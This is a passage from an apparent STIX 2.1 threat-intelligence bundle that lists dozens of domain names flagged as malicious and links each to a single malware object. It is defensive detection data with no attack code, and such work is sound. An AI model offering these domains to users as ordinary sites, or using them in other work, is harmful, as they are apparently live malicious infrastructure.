"malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6c1f015c-f87b-4406-86e4-12f4e8fdb06e", "created": "2024-01-26T21:28:21.150591Z", "modified": "2024-01-26T21:28:21.150591Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='asrararabiya.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.150591Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--60a282d8-d196-49cf-90aa-b8f47607d154", "created": "2024-01-26T21:28:21.150986Z", "modified": "2024-01-26T21:28:21.150986Z", "relationship_type": "indicates", "source_ref": "indicator--6c1f015c-f87b-4406-86e4-12f4e8fdb06e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5f81ac35-f6e1-483d-bc21-15bd2e5faf09", "created": "2024-01-26T21:28:21.151088Z", "modified": "2024-01-26T21:28:21.151088Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='muziclovers.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.151088Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9386e73c-8012-4a6f-99c5-2261844bc3f4", "created": "2024-01-26T21:28:21.151474Z", "modified": "2024-01-26T21:28:21.151474Z", "relationship_type": "indicates", "source_ref": "indicator--5f81ac35-f6e1-483d-bc21-15bd2e5faf09", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--74835ad0-48a2-41e8-96f5-16c24e9cc9e0", "created": "2024-01-26T21:28:21.151573Z", "modified": "2024-01-26T21:28:21.151573Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='topoems.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.151573Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4056ea7b-fb57-4ccd-8dd1-dbb3c9661368", "created": "2024-01-26T21:28:21.151974Z", "modified": "2024-01-26T21:28:21.151974Z", "relationship_type": "indicates", "source_ref": "indicator--74835ad0-48a2-41e8-96f5-16c24e9cc9e0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--edd4cae6-dfda-46d7-a278-169634f5e34f", "created": "2024-01-26T21:28:21.152074Z", "modified": "2024-01-26T21:28:21.152074Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='vider-image.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.152074Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--701dd1d7-c567-4e72-9507-01d063b86c2f", "created": "2024-01-26T21:28:21.152455Z", "modified": "2024-01-26T21:28:21.152455Z", "relationship_type": "indicates", "source_ref": "indicator--edd4cae6-dfda-46d7-a278-169634f5e34f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--171ec2aa-06b7-497e-83d2-a717f2391626", "created": "2024-01-26T21:28:21.152552Z", "modified": "2024-01-26T21:28:21.152552Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='energy-dispatch.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.152552Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--56861979-acd2-4925-b01c-2bd8f598cc65", "created": "2024-01-26T21:28:21.152942Z", "modified": "2024-01-26T21:28:21.152942Z", "relationship_type": "indicates", "source_ref": "indicator--171ec2aa-06b7-497e-83d2-a717f2391626", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--23d3aa97-947b-4e01-8497-14a605bf9dc5", "created": "2024-01-26T21:28:21.153041Z", "modified": "2024-01-26T21:28:21.153041Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='takecarhomes.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.153041Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ed7443ec-eea6-4a2b-8765-ee1eb06ccbca", "created": "2024-01-26T21:28:21.153431Z", "modified": "2024-01-26T21:28:21.153431Z", "relationship_type": "indicates", "source_ref": "indicator--23d3aa97-947b-4e01-8497-14a605bf9dc5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b8986fa3-fd03-4f86-adf1-a61f575df4cd", "created": "2024-01-26T21:28:21.153527Z", "modified": "2024-01-26T21:28:21.153527Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='deter-individuals.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.153527Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7b51caa2-d78a-4a08-8c10-e0b699c13230", "created": "2024-01-26T21:28:21.153919Z", "modified": "2024-01-26T21:28:21.153919Z", "relationship_type": "indicates", "source_ref": "indicator--b8986fa3-fd03-4f86-adf1-a61f575df4cd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--55f39bde-81bd-418f-a6ae-c62dee672d63", "created": "2024-01-26T21:28:21.154015Z", "modified": "2024-01-26T21:28:21.154015Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='windyone.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.154015Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d74b114a-0974-416b-b1f9-a6c1383a772f", "created": "2024-01-26T21:28:21.15448Z", "modified": "2024-01-26T21:28:21.15448Z", "relationship_type": "indicates", "source_ref": "indicator--55f39bde-81bd-418f-a6ae-c62dee672d63", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ac6e6be1-b0f7-4f3c-b731-74e481411734", "created": "2024-01-26T21:28:21.154581Z", "modified": "2024-01-26T21:28:21.154581Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='casia-news.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.154581Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--123b8e81-1b1c-45c2-a8dc-6be73f2d048e", "created": "2024-01-26T21:28:21.15497Z", "modified": "2024-01-26T21:28:21.15497Z", "relationship_type": "indicates", "source_ref": "indicator--ac6e6be1-b0f7-4f3c-b731-74e481411734", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fd946049-aebe-40e1-830a-6297db7f8aae", "created": "2024-01-26T21:28:21.155068Z", "modified": "2024-01-26T21:28:21.155068Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='noonstore.sale']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.155068Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7434dff5-0e8f-4c45-9a79-b688b2b88a07", "created": "2024-01-26T21:28:21.155453Z", "modified": "2024-01-26T21:28:21.155453Z", "relationship_type": "indicates", "source_ref": "indicator--fd946049-aebe-40e1-830a-6297db7f8aae", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f95a4cfc-1c8e-4ffa-bcdf-a6354702805a", "created": "2024-01-26T21:28:21.15555Z", "modified": "2024-01-26T21:28:21.15555Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sendingurl.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.15555Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2b85567e-d1dd-40e4-a0a5-7153edf1c32b", "created": "2024-01-26T21:28:21.155931Z", "modified": "2024-01-26T21:28:21.155931Z", "relationship_type": "indicates", "source_ref": "indicator--f95a4cfc-1c8e-4ffa-bcdf-a6354702805a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a062b7ed-aca2-4e22-b694-dec1b3e2475c", "created": "2024-01-26T21:28:21.156027Z", "modified": "2024-01-26T21:28:21.156027Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='url-redirect.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.156027Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--224c4b85-de46-4dec-a735-1a580d2f3708", "created": "2024-01-26T21:28:21.156415Z", "modified": "2024-01-26T21:28:21.156415Z", "relationship_type": "indicates", "source_ref": "indicator--a062b7ed-aca2-4e22-b694-dec1b3e2475c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--12cfda9c-41bc-4dc3-9f36-9571be3e935d", "created": "2024-01-26T21:28:21.156513Z", "modified": "2024-01-26T21:28:21.156513Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mylovelypet.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.156513Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b0d53548-4492-46ea-9bb2-78b9fd825b6e", "created": "2024-01-26T21:28:21.156903Z", "modified": "2024-01-26T21:28:21.156903Z", "relationship_type": "indicates", "source_ref": "indicator--12cfda9c-41bc-4dc3-9f36-9571be3e935d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4a73960c-75fd-4713-bacb-2881802897a4", "created": "2024-01-26T21:28:21.157002Z", "modified": "2024-01-26T21:28:21.157002Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='akhbarnew.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.157002Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--98c68866-f584-481a-8d62-dd6ebf886c54", "created": "2024-01-26T21:28:21.157387Z", "modified": "2024-01-26T21:28:21.157387Z", "relationship_type": "indicates", "source_ref": "indicator--4a73960c-75fd-4713-bacb-2881802897a4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6ad34fe1-b17f-46d6-ab75-acb13e26dded", "created": "2024-01-26T21:28:21.157486Z", "modified": "2024-01-26T21:28:21.157486Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='detailrush.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.157486Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7e1aa6d3-c6fc-49b4-b133-b165023d2ce1", "created": "2024-01-26T21:28:21.157868Z", "modified": "2024-01-26T21:28:21.157868Z", "relationship_type": "indicates", "source_ref": "indicator--6ad34fe1-b17f-46d6-ab75-acb13e26dded", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--53aaad74-6700-4214-ade2-dc70d27d8e57", "created": "2024-01-26T21:28:21.157964Z", "modified": "2024-01-26T21:28:21.157964Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='baramije.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.157964Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8826865f-3247-403a-b053-12fbfa9c2b24", "created": "2024-01-26T21:28:21.158344Z", "modified": "2024-01-26T21:28:21.158344Z", "relationship_type": "indicates", "source_ref": "indicator--53aaad74-6700-4214-ade2-dc70d27d8e57", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--53cf52e0-ecfc-4228-92d0-5a84c0326cdc", "created": "2024-01-26T21:28:21.158439Z", "modified": "2024-01-26T21:28:21.158439Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='butterdogchange.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.158439Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--71fd8f99-94ac-434d-9d86-d80db092415e", "created": "2024-01-26T21:28:21.158913Z", "modified": "2024-01-26T21:28:21.158913Z", "relationship_type": "indicates", "source_ref": "indicator--53cf52e0-ecfc-4228-92d0-5a84c0326cdc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fdc1faf2-ef1c-464b-89f3-037c0be42651", "created": "2024-01-26T21:28:21.159012Z", "modified": "2024-01-26T21:28:21.159012Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='motordeal.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.159012Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6030439a-f324-4d01-9fd4-be76feb84c20", "created": "2024-01-26T21:28:21.159394Z", "modified": "2024-01-26T21:28:21.159394Z", "relationship_type": "indicates", "source_ref": "indicator--fdc1faf2-ef1c-464b-89f3-037c0be42651", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4779e46d-9ca9-4386-80bf-537e6fa2f377", "created": "2024-01-26T21:28:21.159491Z", "modified": "2024-01-26T21:28:21.159491Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='startupsservices.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.159491Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2b875075-0916-4515-a093-6699c3b81dbe", "created": "2024-01-26T21:28:21.15988Z", "modified": "2024-01-26T21:28:21.15988Z", "relationship_type": "indicates", "source_ref": "indicator--4779e46d-9ca9-4386-80bf-537e6fa2f377", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--971cc740-d748-4d8c-a20b-d7ab9433ce78", "created": "2024-01-26T21:28:21.159976Z", "modified": "2024-01-26T21:28:21.159976Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='spiritualbrakes.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.159976Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--622f2bc5-5493-4bb7-afca-de5c1647afe3", "created": "2024-01-26T21:28:21.160363Z", "modified": "2024-01-26T21:28:21.160363Z", "relationship_type": "indicates", "source_ref": "indicator--971cc740-d748-4d8c-a20b-d7ab9433ce78", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--972ab6c0-54f2-4323-873e-806797515734", "created": "2024-01-26T21:28:21.160459Z", "modified": "2024-01-26T21:28:21.160459Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='avocadofight.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.160459Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--68af9e08-4732-4e1d-adf8-69f1e95d5bf3", "created": "2024-01-26T21:28:21.160849Z", "modified": "2024-01-26T21:28:21.160849Z", "relationship_type": "indicates", "source_ref": "indicator--972ab6c0-54f2-4323-873e-806797515734", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7b69eb7b-dfb6-4281-b50f-c2adae837873", "created": "2024-01-26T21:28:21.160946Z", "modified": "2024-01-26T21:28:21.160946Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='icloudcacher.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.160946Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8d184f57-c954-4227-ac12-94cf01229c15", "created": "2024-01-26T21:28:21.161331Z", "modified": "2024-01-26T21:28:21.161331Z", "relationship_type": "indicates", "source_ref": "indicator--7b69eb7b-dfb6-4281-b50f-c2adae837873", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4232d243-2e15-4cfd-8e3b-9a0a4779238e", "created": "2024-01-26T21:28:21.161427Z", "modified": "2024-01-26T21:28:21.161427Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='nosalternatives.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.161427Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--27bad86e-0bdb-40c1-b76a-e7e2fddf45e7", "created": "2024-01-26T21:28:21.161817Z", "modified": "2024-01-26T21:28:21.161817Z", "relationship_type": "indicates", "source_ref": "indicator--4232d243-2e15-4cfd-8e3b-9a0a4779238e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f237d353-8193-4e3a-aca4-5bb2ce68fb77", "created": "2024-01-26T21:28:21.161913Z", "modified": "2024-01-26T21:28:21.161913Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='quitmyjob.xyz']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.161913Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ff86ba70-8eda-41b4-ad60-793881c7f177", "created": "2024-01-26T21:28:21.162354Z", "modified": "2024-01-26T21:28:21.162354Z", "relationship_type": "indicates", "source_ref": "indicator--f237d353-8193-4e3a-aca4-5bb2ce68fb77", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--57d818a6-b3dd-422d-a14f-d75e646f734f", "created": "2024-01-26T21:28:21.162452Z", "modified": "2024-01-26T21:28:21.162452Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='parties-fun.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.162452Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--66298a64-f28b-42e9-af83-ac952ed72e92", "created": "2024-01-26T21:28:21.162842Z", "modified": "2024-01-26T21:28:21.162842Z", "relationship_type": "indicates", "source_ref": "indicator--57d818a6-b3dd-422d-a14f-d75e646f734f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c6c542ca-b3a1-48ea-a3be-a525132d4bca", "created": "2024-01-26T21:28:21.162938Z", "modified": "2024-01-26T21:28:21.162938Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='timeofflife.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.162938Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ce090aa1-d61f-466e-93a4-8e6ec539fadb", "created": "2024-01-26T21:28:21.163407Z", "modified": "2024-01-26T21:28:21.163407Z", "relationship_type": "indicates", "source_ref": "indicator--c6c542ca-b3a1-48ea-a3be-a525132d4bca", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--72709c03-bfb1-4c84-8f84-8a34336241d6", "created": "2024-01-26T21:28:21.16351Z", "modified": "2024-01-26T21:28:21.16351Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='web-only.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.16351Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f03f8725-241d-4e0e-a055-9aa74f56d2b6", "created": "2024-01-26T21:28:21.163898Z", "modified": "2024-01-26T21:28:21.163898Z", "relationship_type": "indicates", "source_ref": "indicator--72709c03-bfb1-4c84-8f84-8a34336241d6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--407b78d3-8817-4a20-b64c-424841555986", "created": "2024-01-26T21:28:21.163996Z", "modified": "2024-01-26T21:28:21.163996Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='lost-n-found.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.163996Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--35d1e0de-7562-4ecc-85d6-c6555324b172", "created": "2024-01-26T21:28:21.164393Z", "modified": "2024-01-26T21:28:21.164393Z", "relationship_type": "indicates", "source_ref": "indicator--407b78d3-8817-4a20-b64c-424841555986", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--58fd0a67-17c1-4dd1-8031-0f676795a8b7", "created": "2024-01-26T21:28:21.164495Z", "modified": "2024-01-26T21:28:21.164495Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='upload-now.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.164495Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--483f3083-230b-402b-bf6f-e83e952cb69c", "created": "2024-01-26T21:28:21.164879Z", "modified": "2024-01-26T21:28:21.164879Z", "relationship_type": "indicates", "source_ref": "indicator--58fd0a67-17c1-4dd1-8031-0f676795a8b7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--db38cae3-5b44-4677-9e5c-eeddc73f7bde", "created": "2024-01-26T21:28:21.164979Z", "modified": "2024-01-26T21:28:21.164979Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='odnoklass-profile.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.164979Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--31b348a3-826c-4bc0-8e3c-fed97a376d35", "created": "2024-01-26T21:28:21.16537Z", "modified": "2024-01-26T21:28:21.16537Z", "relationship_type": "indicates", "source_ref": "indicator--db38cae3-5b44-4677-9e5c-eeddc73f7bde", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5d150d70-5a8e-478a-9794-e64ad583724b", "created": "2024-01-26T21:28:21.165465Z", "modified": "2024-01-26T21:28:21.165465Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='pay-penalty.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.165465Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c1a0abcf-74c0-4137-9bd0-88c728ea59b4", "created": "2024-01-26T21:28:21.165849Z", "modified": "2024-01-26T21:28:21.165849Z", "relationship_type": "indicates", "source_ref": "indicator--5d150d70-5a8e-478a-9794-e64ad583724b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2d414a4c-497a-49e5-86b6-183afaffcf2b", "created": "2024-01-26T21:28:21.165945Z", "modified": "2024-01-26T21:28:21.165945Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='yousunhard.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.165945Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--98dfbbea-d6dc-452f-9e0b-dc32b7f3b183", "created": "2024-01-26T21:28:21.166383Z", "modified": "2024-01-26T21:28:21.166383Z", "relationship_type": "indicates", "source_ref": "indicator--2d414a4c-497a-49e5-86b6-183afaffcf2b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9e4169d6-2cb3-49f7-9f23-090ca5426cb3", "created": "2024-01-26T21:28:21.166482Z", "modified": "2024-01-26T21:28:21.166482Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='unavailableentry.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.166482Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c38ff0a6-7fa6-4a27-a519-d1f79953d3d8", "created": "2024-01-26T21:28:21.166874Z", "modified": "2024-01-26T21:28:21.166874Z", "relationship_type": "indicates", "source_ref": "indicator--9e4169d6-2cb3-49f7-9f23-090ca5426cb3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--71952270-5cf4-48e1-9313-1cd043a7f6d1", "created": "2024-01-26T21:28:21.166971Z", "modified": "2024-01-26T21:28:21.166971Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='todoinfonet.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.166971Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--572088dc-0e24-41ae-a1d9-9e1bc9cd1709", "created": "2024-01-26T21:28:21.167366Z", "modified": "2024-01-26T21:28:21.167366Z", "relationship_type": "indicates", "source_ref": "indicator--71952270-5cf4-48e1-9313-1cd043a7f6d1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--96562706-ef80-4c06-a3a3-5031921adb85", "created": "2024-01-26T21:28:21.167462Z", "modified": "2024-01-26T21:28:21.167462Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='aircraftsxhibition.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.167462Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5d0fc261-b394-42ce-900d-f3e36a7dae37", "created": "2024-01-26T21:28:21.167934Z", "modified": "2024-01-26T21:28:21.167934Z", "relationship_type": "indicates", "source_ref": "indicator--96562706-ef80-4c06-a3a3-5031921adb85", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fd47ee62-29b0-4406-acda-13f9acd9ce64", "created": "2024-01-26T21:28:21.168032Z", "modified": "2024-01-26T21:28:21.168032Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='nbrowser.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.168032Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3ca53d3b-18c7-4d9b-9d29-154cd585c33a", "created": "2024-01-26T21:28:21.16842Z", "modified": "2024-01-26T21:28:21.16842Z", "relationship_type": "indicates", "source_ref": "indicator--fd47ee62-29b0-4406-acda-13f9acd9ce64", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f2eaf8e0-9c9f-4816-a6f4-8339597745ff", "created": "2024-01-26T21:28:21.168517Z", "modified": "2024-01-26T21:28:21.168517Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='poweredlock.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.168517Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5f8f290c-1c4c-4e99-8326-d66202ccd11f", "created": "2024-01-26T21:28:21.168901Z", "modified": "2024-01-26T21:28:21.168901Z", "relationship_type": "indicates", "source_ref": "indicator--f2eaf8e0-9c9f-4816-a6f4-8339597745ff", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--673f68f4-5198-4dff-a557-17e7e20567e4", "created": "2024-01-26T21:28:21.168998Z", "modified": "2024-01-26T21:28:21.168998Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='funnytvclips.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.168998Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5af42906-3a59-4351-9c59-9d2e399777a7", "created": "2024-01-26T21:28:21.169381Z", "modified": "2024-01-26T21:28:21.169381Z", "relationship_type": "indicates", "source_ref": "indicator--673f68f4-5198-4dff-a557-17e7e20567e4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--de14ac3a-a5d1-45b6-bb71-7d5ab2a91c3c", "created": "2024-01-26T21:28:21.169478Z", "modified": "2024-01-26T21:28:21.169478Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='willpurpleshe.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.169478Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7e60baee-b282-4388-8002-2bc4665c9c3b", "created": "2024-01-26T21:28:21.169868Z", "modified": "2024-01-26T21:28:21.169868Z", "relationship_type": "indicates", "source_ref": "indicator--de14ac3a-a5d1-45b6-bb71-7d5ab2a91c3c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": 